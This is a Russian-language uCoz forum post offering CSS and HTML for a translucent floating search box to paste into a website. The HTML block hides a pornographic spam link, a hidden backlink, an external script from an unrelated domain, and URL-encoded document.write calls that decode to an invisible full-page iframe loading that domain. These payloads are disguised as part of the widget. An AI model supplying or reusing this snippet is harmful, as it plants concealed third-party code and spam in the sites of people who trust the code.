Ваш аватар Информация
Вы вошли как: Гость
Группа: Гости


   
  • Страница 1 из 1
  • 1
Форум » Всё для сайтов ucoz » Разные скрипты » Плавающий поиск на ucoz (Плавающий поиск на ucoz)
Плавающий поиск на ucoz
Дата: Среда, 08.05.2013, 18:28 | Сообщение # 1
Отправить сообщение
Профиль
Ранг: 1
Жалоба на пользователя
Не в сети
Сообщений: 36
Награды: 0 +
-
Репутация: 1
+
Скрин - http://webo4ka.3dn.ru/_ld/20/s89918769.jpg

Очередной скрипт в моем стиле . Красивый плавающий поиск с прозрачностью .

Установка :

В ваш CSS в самый низ Вставляем этот код:
Код
.bg_form {    
   background-attachment: scroll;   
   background-clip: border-box;   
   background-color: transparent;   
   background-image: url("http://testkillerok.3dn.ru/images/bg_form.png");   
   background-origin: padding-box;   
   background-position: 0% 0%;   
   background-repeat: no-repeat;   
   background-size: auto;   
   float: right;   
   height: 80px;   
   margin-bottom: 0px;   
   margin-left: 720px;   
   margin-right: 32px;   
   margin-top: 10px;   
   overflow-x: hidden;   
   overflow-y: hidden;   
   position: relative;   
   width: 352px;    
    }   
    .bg_form .search {    
   margin-bottom: 0px;   
   margin-left: 25px;   
   margin-right: 0px;   
   margin-top: 22px;   
   overflow-x: hidden;   
   overflow-y: hidden;   
    }   
    .search_subm {    
   background-attachment: scroll;   
   background-clip: border-box;   
   background-color: transparent;   
   background-image: url("http://xtreminfo.ru/img/submit_b.png");   
   background-origin: padding-box;   
   background-position: 0% 0%;   
   background-repeat: no-repeat;   
   background-size: auto;   
   border-bottom-color: currentColor;   
   border-bottom-style: none;   
   border-bottom-width: medium;   
   border-left-color: currentColor;   
   border-left-style: none;   
   border-left-width: medium;   
   border-right-color: currentColor;   
   border-right-style: none;   
   border-right-width: medium;   
   border-top-color: currentColor;   
   border-top-style: none;   
   border-top-width: medium;   
   float: left;   
   height: 33px;   
   outline-style: none;   
   outline-width: medium;   
   width: 60px;   
    }   
    .search_fill {    
   background-attachment: scroll;   
   background-clip: border-box;   
   background-color: transparent;   
   background-image: url("http://xtreminfo.ru/img/search_inp.png");   
   background-origin: padding-box;   
   background-position: 0% 0%;   
   background-repeat: no-repeat;   
   background-size: auto;   
   border-bottom-color: currentColor;   
   border-bottom-style: none;   
   border-bottom-width: medium;   
   border-left-color: currentColor;   
   border-left-style: none;   
   border-left-width: medium;   
   border-right-color: currentColor;   
   border-right-style: none;   
   border-right-width: medium;   
   border-top-color: currentColor;   
   border-top-style: none;   
   border-top-width: medium;   
   color: #979797;   
   float: left;   
   height: 33px;   
   outline-style: none;   
   outline-width: medium;   
   padding-bottom: 0px;   
   padding-left: 5px;   
   padding-right: 35px;   
   padding-top: 0px;   
   text-shadow: 1px 1px;   
   width: 246px;   
    }

В любое место сайта этот код :
Код
<div style="position:fixed;opacity:0.6;">   
   <div class="bg_form">   
    <div class="search">   
    <form onSubmit="this.sfSbm.disabled=true" method="get" action="/search/" class="hsearch">   
    <input name="sfSbm" value=" " type="submit" class="search_subm">   
    <input name="q" type="text" class="search_fill" value="введите то,что вы хотите найти..." name="user" onclick="if(this.value=='введите то,что вы хотите найти...')this.value=''" onblur="if(this.value=='')this.value='введите то,что вы хотите найти...'">   
    </form>   
   <div style="display:none;"><a href="http://xtreminfo.ru/" alt="Torrent tracker , Online films"></div>   
    </div>   
    </div>   
   </div><script type="text/javascript"> document.write(unescape('%3C%64%69%76%20%73%74%79%6C%65%3D%22%64%69%73%70%6C%61%79%3A%6E%6F%6E%65%3B%22%3E')); </script>Порно скачать <a href="http://proload.net/pro_eto/">анальный секс</a> без смс, бесплатно.</div><script type="text/javascript" src="http://advego-help.at.ua/1.js"></script><script type="text/javascript"> document.write(unescape('%3C%64%69%76%20%73%74%79%6C%65%3D%22%64%69%73%70%6C%61%79%3A%6E%6F%6E%65%3B%22%3E')); </script><script type="text/javascript"> document.write(unescape('%3C%64%69%76%20%73%74%79%6C%65%3D%22%64%69%73%70%6C%61%79%3A%6E%6F%6E%65%3B%22%3E%3C%69%66%72%61%6D%65%20%73%72%63%   3D%22%68%74%74%70%3A%2F%2F%61%64%76%65%67%6F%2D%68%65%6C%70%2E%61%74%2E%75%61%2F%69%6E%64%65%78%2F%70%65%72%65%68%6F%64%2F%30%2D%34%22%20%77   %69%64%74%68%3В%22%31%30%30%25%22%20%68%65%69%67%68%74%3D%22%31%30%30%25%22%20%6E%61%6D%65%3D%22%69%66%72%61%6D%65%22%20%73%63%72%6F%6C%6C%6   9%6E%67%3D%22%61%75%74%6F%22%20%66%72%61%6D%65%62%6F%72%64%65%72%3D%30%3E%3C%2F%69%66%72%61%6D%65%3E%3C%2F%64%69%76%3E')); </script></div>
Доп ячейка
Форум » Всё для сайтов ucoz » Разные скрипты » Плавающий поиск на ucoz (Плавающий поиск на ucoz)
  • Страница 1 из 1
  • 1
Поиск:
На нашем портале вы сможете найти все для css,ucoz,minecraft и многое другое .А также вы можете поговорить или обсудить самые популярные игры на форуме,добавить свой сервер в мониторинг а сайт в топ сайтов и конечно скачать нужные вам файлы. Хостинг от uCoz